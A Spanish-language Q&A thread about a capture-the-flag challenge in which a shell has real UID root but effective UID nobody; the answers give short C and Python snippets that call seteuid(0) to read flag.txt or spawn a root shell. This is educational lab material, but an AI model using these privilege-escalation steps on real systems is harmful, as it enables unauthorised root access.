UID es root pero whoami dice que nadie

UID es root pero whoami dice que nadie

Estoy participando en un concurso de captura de bandera en el que debo implementar algún tipo de escalada de privilegios para leer el flag.txtarchivo. He notado que cuando ejecuto whoamiobtengo el siguiente resultado:

myHostHere:/$ whoami
nobody

Pero cuando ejecuto idmi UID está configurado en root:

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

¿Significa esto que me es posible actuar como usuario root, etc. o estoy malinterpretando el resultado?

Editar:

La salida de ls -l flag.txtes la siguiente:

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt

Respuesta1

Esto se puede resolver escribiendo y compilando (con --static) un programa en C como este en una máquina separada:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

Este archivo se puede copiar a la máquina CTF, se le puede otorgar permiso para ejecutarlo chmod +xy ejecutarlo desde la tmpcarpeta.

Respuesta2

Creé una configuración muy similar a la tuya. Lo hice con un depurador (ejemplos:aquíyallá). En el caparazón afectado tengo:

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

Entonces, segúnesta respuesta:

El acceso a archivos y las operaciones que requieren privilegios de root, observe el UID y GID efectivos.

De hecho, esto es lo que sucede:

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

Pero puedo hacer esto:

$ sudo cat flag.txt
foo

O esto:

$ su -
# whoami
root
# cat flag.txt
foo

O esto:

$ sg root 'cat flag.txt'
foo

Cuando lo tenga uid=0, cualquier cosa que pueda usar seteuidla llamada al sistema y luego leer el archivo puede ayudarlo. P.ej python:

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

En lugar de (o aparte de) leer el archivo, puedes generar un shell elevado:

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

En este caparazón estás root; cat flag.txttrabajará.


Banco de pruebas: Debian GNU/Linux 9.

información relacionada